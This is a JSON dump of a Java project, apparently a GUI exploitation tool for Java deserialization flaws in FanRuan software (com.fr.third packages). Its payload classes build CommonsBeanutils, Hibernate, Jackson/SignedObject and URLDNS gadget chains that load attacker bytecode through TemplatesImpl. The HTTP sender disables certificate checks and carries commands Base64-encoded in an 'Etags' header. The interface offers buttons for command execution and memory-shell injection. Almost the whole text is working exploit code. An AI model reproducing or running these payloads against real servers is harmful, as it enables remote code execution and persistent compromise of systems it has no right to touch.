httpClient = null;\n\n        if (url.contains(\"https://\")){\n            SSLContext sslContext = SSLContextBuilder\n                    .create()\n                    .loadTrustMaterial(new TrustSelfSignedStrategy())\n                    .build();\n            HostnameVerifier allowAllHosts = new NoopHostnameVerifier();\n            SSLConnectionSocketFactory connectionFactory = new SSLConnectionSocketFactory(sslContext, allowAllHosts);\n            httpClient = HttpClients.custom()\n                    .setSSLSocketFactory(connectionFactory)\n                    .build();\n        }\n        else {\n            httpClient = HttpClients.createDefault();\n        }\n\n        HttpPost httpPost = new HttpPost(url);\n\n        httpPost.setEntity(new ByteArrayEntity(bytes));\n        // 创建RequestConfig，并设置代理\n        RequestConfig config = RequestConfig.custom()\n                .setProxy(proxy)\n                .setSocketTimeout(10000)\n                .setConnectTimeout(10000)\n                .build();\n        // 将RequestConfig配置应用于HttpPost\n        httpPost.setConfig(config);\n        httpPost.setHeader(\"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36\");\n        httpPost.setHeader(\"Content-Type\",\"gzip\");\n\n        if (cmd != null){\n            httpPost.setHeader(\"Etags\",Base64.getEncoder().encodeToString(cmd.getBytes()));\n        }\n\n        try {\n            HttpResponse response = httpClient.execute(httpPost);\n            return EntityUtils.toString(response.getEntity());\n\n        } catch (Exception e) {\n            return e.getMessage();\n        }\n    }\n\n\n}\n"
  },
  {
    "path": "src/main/java/com/example/frchannel/payload/CommonsBeanutils183.java",
    "content": "package com.example.frchannel.payload;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport org.apache.commons.beanutils.BeanComparator;\n\nimport java.lang.reflect.Constructor;\nimport java.util.Comparator;\nimport java.util.PriorityQueue;\n\npublic class CommonsBeanutils183 {\n\n    public static byte[] getPayload(byte[] bytes) throws Exception {\n        TemplatesImpl t = utils.getTeml(bytes);\n        PriorityQueue<Object> queue = new PriorityQueue<>(2);\n        queue.add(1);\n        queue.add(2);\n        utils.setFieldValue(queue,\"queue\",new Object[]{t,2});\n        Constructor<?> constructor = utils.getConstructor(\"java.lang.String$CaseInsensitiveComparator\");\n        Comparator<?> comparator = (Comparator<?>) constructor.newInstance();\n        BeanComparator beanComparator = new BeanComparator(\"outputProperties\",comparator);\n        utils.setFieldValue(queue,\"comparator\",beanComparator);\n\n        byte[] ser = utils.serialize(queue);\n        byte[] payload = utils.GzipCompress(ser);\n\n        return payload;\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/example/frchannel/payload/Hibernate.java",
    "content": "package com.example.frchannel.payload;\n\nimport com.fr.third.org.hibernate.engine.spi.TypedValue;\nimport com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer;\nimport com.fr.third.org.hibernate.type.Type;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\n\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.util.HashMap;\n\npublic class Hibernate {\n    public static byte[] getPayload(byte[] bytes) throws Exception {\n        Class<?> componentTypeClass             = Class.forName(\"com.fr.third.org.hibernate.type.ComponentType\");\n        Class<?> pojoComponentTuplizerClass     = Class.forName(\"com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer\");\n        Class<?> abstractComponentTuplizerClass = Class.forName(\"com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer\");\n\n\n        // 生成包含恶意类字节码的 TemplatesImpl 类\n        TemplatesImpl tmpl   = utils.getTeml(bytes);\n        Method method = TemplatesImpl.class.getDeclaredMethod(\"getOutputProperties\");\n\n        Object getter;\n        try {\n            // 创建 GetterMethodImpl 实例，用来触发 TemplatesImpl 的 getOutputProperties 方法\n            Class<?>       getterImpl  = Class.forName(\"com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl\");\n            Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];\n            constructor.setAccessible(true);\n            getter = constructor.newInstance(null, null, method);\n        } catch (Exception ignored) {\n            // 创建 BasicGetter 实例，用来触发 TemplatesImpl 的 getOutputProperties 方法\n            Class<?>       basicGetter = Class.forName(\"com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter\");\n            Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);\n            constructor.setAccessible(true);\n            getter = constructor.newInstance(tmpl.getClass(), method, \"outputProperties\");\n        }\n\n        Object getters = Array.newInstance(getter.getClass(), 1);\n        Array.set(getters, 0, getter);\n\n        // 创建 PojoComponentTuplizer 实例，用来触发 Getter 方法\n        AbstractComponentTuplizer tuplizer = (AbstractComponentTuplizer) utils.createInstanceUnsafely(pojoComponentTuplizerClass);\n\n        // 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里\n        Field field = abstractComponentTuplizerClass.getDeclaredField(\"getters\");\n        field.setAccessible(true);\n        field.set(tuplizer, getters);\n\n        // 创建 ComponentType 实例，用来触发 PojoComponentTuplizer 的 getPropertyValues 方法\n        Object type = utils.createInstanceUnsafely(componentTypeClass);\n\n        // 反射将相关值写入，满足 ComponentType 的 getHashCode 调用所需条件\n        utils.setFieldValue(type,\"componentTuplizer\",tuplizer);\n\n        utils.setFieldValue(type,\"propertySpan\",1);\n\n        utils.setFieldValue(type,\"propertyTypes\",new Type[]{(Type) type});\n\n        // 创建 TypedValue 实例，用来触发 ComponentType 的 getHashCode 方法\n        TypedValue typedValue = new TypedValue((Type) type, null);\n\n        // 创建反序列化用 HashMap\n        HashMap<Object, Object> hashMap = new HashMap<>();\n        hashMap.put(typedValue, \"123\");\n\n        // put 到 hashmap 之后再反射写入，防止 put 时触发\n        utils.setFieldValue(typedValue,\"value\", tmpl);\n\n        byte[] ser = utils.serialize(hashMap);\n//        utils.unserialize(ser);\n        byte[] payload = utils.GzipCompress(ser);\n        return payload;\n\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/example/frchannel/payload/JacksonSignedObject.java",
    "content": "package com.example.frchannel.payload;\n\nimport com.fr.third.fasterxml.jackson.databind.node.POJONode;\nimport com.fr.third.springframework.aop.target.HotSwappableTargetSource;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xpath.internal.objects.XString;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport javassist.CtMethod;\n\nimport javax.management.BadAttributeValueExpException;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Constructor;\nimport java.security.SignedObject;\nimport java.util.HashMap;\n\npublic class JacksonSignedObject {\n\n    public static byte[] getPayload(byte[] bytes) throws Exception {\n        TemplatesImpl t = utils.getTeml(bytes);\n        try {\n            CtClass ctClass = ClassPool.getDefault().get(\"com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode\");\n            CtMethod writeReplace = ctClass.getDeclaredMethod(\"writeReplace\");\n            ctClass.removeMethod(writeReplace);\n            // 将修改后的CtClass加载至当前线程的上下文类加载器中\n            ctClass.toClass();\n        }\n        catch (Exception e){\n\n        }\n\n        POJONode node = new POJONode(utils.makeTemplatesImplAopProxy(t));\n        BadAttributeValueExpException val = new BadAttributeValueExpException(null);\n        utils.setFieldValue(val,\"val\",node);\n\n\n\n\n        SignedObject s = utils.makeSignedObject(val);\n\n        POJONode node2 = new POJONode(s);\n\n\n        HotSwappableTargetSource h1 = new HotSwappableTargetSource(node2);\n        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString(\"xxx\"));\n\n        HashMap<Object, Object> hashmap = new HashMap<>();\n        utils.setFieldValue(hashmap, \"size\", 2);\n        Class<?> nodeC;\n        try {\n            nodeC = Class.forName(\"java.util.HashMap$Node\");\n        }\n        catch ( ClassNotFoundException e ) {\n            nodeC = Class.forName(\"java.util.HashMap$Entry\");\n        }\n        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);\n        nodeCons.setAccessible(true);\n\n        Object tbl = Array.newInstance(nodeC, 2);\n        Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));\n        Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));\n        utils.setFieldValue(hashmap, \"table\", tbl);\n\n\n        byte[] ser = utils.serialize(hashmap);\n        byte[] payload = utils.GzipCompress(ser);\n\n        return payload;\n    }\n\n\n}\n"
  },
  {
    "path": "src/main/java/com/example/frchannel/payload/URLDNS.java",
    "content": "package com.example.frchannel.payload;\n\nimport java.net.URL;\nimport java.util.HashMap;\n\npublic class URLDNS {\n\n    public static byte[] getPayload(String dnslog) {\n        try {\n            HashMap map = new HashMap();\n            URL url = new URL(\"http://\"+dnslog);\n            utils.setFieldValue(url,\"hashCode\",123123);\n            map.put(url,123);\n            utils.setFieldValue(url,\"hashCode\",-1);\n\n            byte[] ser = utils.serialize(map);\n            byte[] payload = utils.GzipCompress(ser);\n\n            return payload;\n        }\n        catch (Exception e){\n\n        }\n        return null;\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/example/frchannel/payload/utils.java",
    "content": "package com.example.frchannel.payload;\n\nimport com.fr.third.springframework.aop.framework.AdvisedSupport;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport sun.misc.Unsafe;\n\nimport javax.xml.transform.Templates;\nimport java.io.*;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.math.BigInteger;\nimport java.security.*;\nimport java.security.interfaces.DSAParams;\nimport java.security.interfaces.DSAPrivateKey;\nimport java.util.zip.GZIPInputStream;\nimport java.util.zip.GZIPOutputStream;\n\npublic class utils {\n    public static  TemplatesImpl getTeml(byte[] bytes) throws Exception {\n        TemplatesImpl templates = TemplatesImpl.class.newInstance();\n        setFieldValue(templates,\"_name\",\"moresec\"+System.nanoTime());\n        setFieldValue(templates,\"_class\",null);\n        setFieldValue(templates,\"_tfactory\",new TransformerFactoryImpl());\n        setFieldValue(templates,\"_bytecodes\",new byte[][]{bytes});\n        return templates;\n    }\n\n    public static void setFieldValue(Object o, String fieldName, Object value) throws Exception {\n        Field field = o.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(o,value);\n    }\n\n    public static Object getFieldValue(Object o, String fieldName) throws Exception {\n        Field field = o.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        return field.get(o);\n    }\n    public static Constructor<?> getConstructor(String name) throws Exception {\n        Constructor<?> ctor = Class.forName(name).getDeclaredConstructor();\n        ctor.setAccessible(true);\n        return ctor;\n    }\n    public static byte[] getClassByteCode(String classname) {\n        String jarname = \"/\" + classname.replace('.', '/') + \".class\";\n        InputStream is = utils.class.getResourceAsStream(jarname);\n        ByteArrayOutputStream bytestream = new ByteArrayOutputStream();\n        int ch;\n        byte imgdata[] = null;\n        try {\n            while ((ch = is.read()) != -1) {\n                bytestream.write(ch);\n            }\n            imgdata = bytestream.toByteArray();\n        } catch (IOException e) {\n            e.printStackTrace();\n        } finally {\n            try {\n                bytestream.close();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n        return imgdata;\n    }\n    public static SignedObject makeSignedObject(Object o) throws IOException, InvalidKeyException, SignatureException {\n        return new SignedObject((Serializable) o,\n                new DSAPrivateKey() {\n                    @Override\n                    public DSAParams getParams() {\n                        return null;\n                    }\n\n                    @Override\n                    public String getAlgorithm() {\n                        return null;\n                    }\n\n                    @Override\n                    public String getFormat() {\n                        return null;\n                    }\n\n                    @Override\n                    public byte[] getEncoded() {\n                        return new byte[0];\n                    }\n\n                    @Override\n                    public BigInteger getX() {\n                        return null;\n                    }\n                },\n                new Signature(\"x\") {\n                    @Override\n                    protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {\n\n                    }\n\n                    @Override\n                    protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {\n\n                    }\n\n                    @Override\n                    protected void engineUpdate(byte b) throws SignatureException {\n\n                    }\n\n                    @Override\n                    protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {\n\n                    }\n\n                    @Override\n                    protected byte[] engineSign() throws SignatureException {\n                        return new byte[0];\n                    }\n\n                    @Override\n                    protected boolean engineVerify(byte[] sigBytes) throws SignatureException {\n                        return false;\n                    }\n\n                    @Override\n                    protected void engineSetParameter(String param, Object value) throws InvalidParameterException {\n\n                    }\n\n                    @Override\n                    protected Object engineGetParameter(String param) throws InvalidParameterException {\n                        return null;\n                    }\n                });\n    }\n    public static byte[] serialize(Object o) throws IOException {\n        ByteArrayOutputStream bao = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(bao);\n        oos.writeObject(o);\n        return bao.toByteArray();\n    }\n\n    public static void unserialize(byte[] b) throws IOException, ClassNotFoundException {\n        ByteArrayInputStream bis = new ByteArrayInputStream(b);\n        ObjectInputStream ois = new ObjectInputStream(bis);\n        ois.readObject();\n    }\n    public static byte[] hexToByte(String hex){\n        int m = 0, n = 0;\n        int byteLen = hex.length() / 2; // 每两个字符描述一个字节\n        byte[] ret = new byte[byteLen];\n        for (int i = 0; i < byteLen; i++) {\n            m = i * 2 + 1;\n            n = m + 1;\n            int intVal = Integer.decode(\"0x\" + hex.substring(i * 2, m) + hex.substring(m, n));\n            ret[i] = Byte.valueOf((byte)intVal);\n        }\n        return ret;\n    }\n    public static byte[] GzipCompress(byte[] out) throws Exception{\n        ByteArrayOutputStream out2 = new ByteArrayOutputStream();\n        GZIPOutputStream gzip;\n        gzip = new GZIPOutputStream(out2);\n        gzip.write(out);\n        gzip.close();\n        return out2.toByteArray();\n    }\n\n    public static byte[] GzipUncompress(byte[] bytes) {\n        if (bytes == null || bytes.length == 0) {\n            return null;\n        }\n        ByteArrayOutputStream out = new ByteArrayOutputStream();\n        ByteArrayInputStream in = new ByteArrayInputStream(bytes);\n        try {\n            GZIPInputStream ungzip = new GZIPInputStream(in);\n            byte[] buffer = new byte[256];\n            int n;\n            while ((n = ungzip.read(buffer)) >= 0) {\n                out.write(buffer, 0, n);\n            }\n        } catch (IOException e) {\n//            ApiLogger.error(\"gzip uncompress error.\", e);\n        }\n\n        return out.toByteArray();\n    }\n    // 使用 Unsafe 来绕过构造方法创建类实例\n    public static Object createInstanceUnsafely(Class<?> clazz) throws Exception {\n        // 反射获取Unsafe的theUnsafe成员变量\n        Field theUnsafeField = Unsafe.class.getDeclaredField(\"theUnsafe\");\n        theUnsafeField.setAccessible(true);\n        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);\n        return unsafe.allocateInstance(clazz);\n    }\n    public static Object makeTemplatesImplAopProxy(Object o) throws Exception {\n        AdvisedSupport advisedSupport = new AdvisedSupport();\n        advisedSupport.setTarget(o);\n        Constructor constructor = Class.forName(\"com.fr.third.springframework.aop.framework.JdkDynamicAopProxy\").getConstructor(AdvisedSupport.class);\n        constructor.setAccessible(true);\n        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);\n        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);\n        return proxy;\n    }\n\n}\n\n\n"
  },
  {
    "path": "src/main/resources/META-INF/MANIFEST.MF",
    "content": "Manifest-Version: 1.0\nMain-Class: com.example.frchannel.MainApplication\n\n"
  },
  {
    "path": "src/main/resources/com/example/frchannel/main.fxml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<?import javafx.geometry.Insets?>\n<?import javafx.scene.control.Button?>\n<?import javafx.scene.control.ComboBox?>\n<?import javafx.scene.control.Label?>\n<?import javafx.scene.control.Menu?>\n<?import javafx.scene.control.MenuBar?>\n<?import javafx.scene.control.MenuItem?>\n<?import javafx.scene.control.TextArea?>\n<?import javafx.scene.control.TextField?>\n<?import javafx.scene.control.TitledPane?>\n<?import javafx.scene.layout.HBox?>\n<?import javafx.scene.layout.VBox?>\n\n<VBox maxHeight=\"-Infinity\" maxWidth=\"-Infinity\" minHeight=\"-Infinity\" minWidth=\"-Infinity\" prefHeight=\"723.0\" prefWidth=\"1000.0\" xmlns=\"http://javafx.com/javafx/20.0.1\" xmlns:fx=\"http://javafx.com/fxml/1\" fx:controller=\"com.example.frchannel.MainController\">\n    <children>\n        <MenuBar prefHeight=\"32.0\" prefWidth=\"928.0\">\n            <menus>\n               <Menu mnemonicParsing=\"false\" text=\"Proxy\">\n                  <items>\n                     <MenuItem mnemonicParsing=\"false\" onAction=\"#Proxy\" text=\"Proxy\" />\n                  </items>\n               </Menu>\n                <Menu mnemonicParsing=\"false\" text=\"Help\">\n                    <items>\n                        <MenuItem mnemonicParsing=\"false\" onAction=\"#notice\" text=\"Notice\" />\n                    </items>\n                </Menu>\n               <Menu fx:id=\"ProxyLog\" mnemonicParsing=\"false\" text=\"\">\n               </Menu>\n            </menus>\n        </MenuBar>\n      <TitledPane fx:id=\"TP\" prefHeight=\"691.0\" prefWidth=\"1000.0\" text=\"Channel反序列化利用\">\n         <content>\n            <VBox prefHeight=\"671.0\" prefWidth=\"998.0\">\n               <children>\n                  <HBox prefHeight=\"51.0\" prefWidth=\"774.0\">\n                     <children>\n                        <Label prefHeight=\"47.0\" prefWidth=\"88.0\" text=\"输入URL：\" />\n                        <TextField fx:id=\"url\" prefHeight=\"30.0\" prefWidth=\"713.0\">\n                           <HBox.margin>\n                              <Insets top=\"10.0\" />\n                           </HBox.margin>\n                        </TextField>\n                        <Button mnemonicParsing=\"false\" onAction=\"#DnsLog\" prefHeight=\"30.0\" prefWidth=\"146.0\" text=\"DNSLOG\">\n                           <HBox.margin>\n                              <Insets left=\"15.0\" top=\"10.0\" />\n                           </HBox.margin>\n                        </Button>\n                     </children>\n                  </HBox>\n                  <HBox prefHeight=\"52.0\" prefWidth=\"774.0\">\n                     <children>\n                        <Label prefHeight=\"47.0\" prefWidth=\"88.0\" text=\"选择利用链：\" />\n                        <ComboBox fx:id=\"Chain\" prefHeight=\"30.0\" prefWidth=\"185.0\" value=\"JacksonSignedObject\">\n                           <HBox.margin>\n                              <Insets top=\"10.0\" />\n                           </HBox.margin>\n                           <padding>\n                              <Insets left=\"10.0\" />\n                           </padding>\n                        </ComboBox>\n                        <Label prefHeight=\"43.0\" prefWidth=\"39.0\" text=\"输入：\">\n                           <HBox.margin>\n                              <Insets left=\"20.0\" />\n                           </HBox.margin></Label>\n                        <TextField fx:id=\"cmd\" prefHeight=\"30.0\" prefWidth=\"396.0\">\n                           <HBox.margin>\n                              <Insets top=\"10.0\" />\n                           </HBox.margin>\n                        </TextField>\n                        <Button mnemonicParsing=\"false\" onAction=\"#ExecCommand\" prefHeight=\"30.0\" prefWidth=\"102.0\" text=\"执行命令\">\n                           <HBox.margin>\n                              <Insets left=\"15.0\" top=\"10.0\" />\n                           </HBox.margin>\n                        </Button>\n                        <Button mnemonicParsing=\"false\" onAction=\"#InjectMem\" prefHeight=\"30.0\" prefWidth=\"102.0\" text=\"注入内存马\">\n                           <HBox.margin>\n                              <Insets left=\"15.0\" top=\"10.0\" />\n                           </HBox.margin>\n                        </Button>\n                     </children>\n                     <VBox.margin>\n                        <Insets top=\"10.0\" />\n                     </VBox.margin>\n                  </HBox>\n                  <HBox prefHeight=\"520.0\" prefWidth=\"974.0\">\n                     <children>\n                        <TextArea fx:id=\"output\" prefHeight=\"361.0\" prefWidth=\"968.0\" />\n                     </children>\n                     <VBox.margin>\n                        <Insets top=\"10.0\" />\n                     </VBox.margin>\n                  </HBox>\n               </children>\n            </VBox>\n         </content>\n      </TitledPane>\n    </children>\n\n</VBox>\n"
  }
]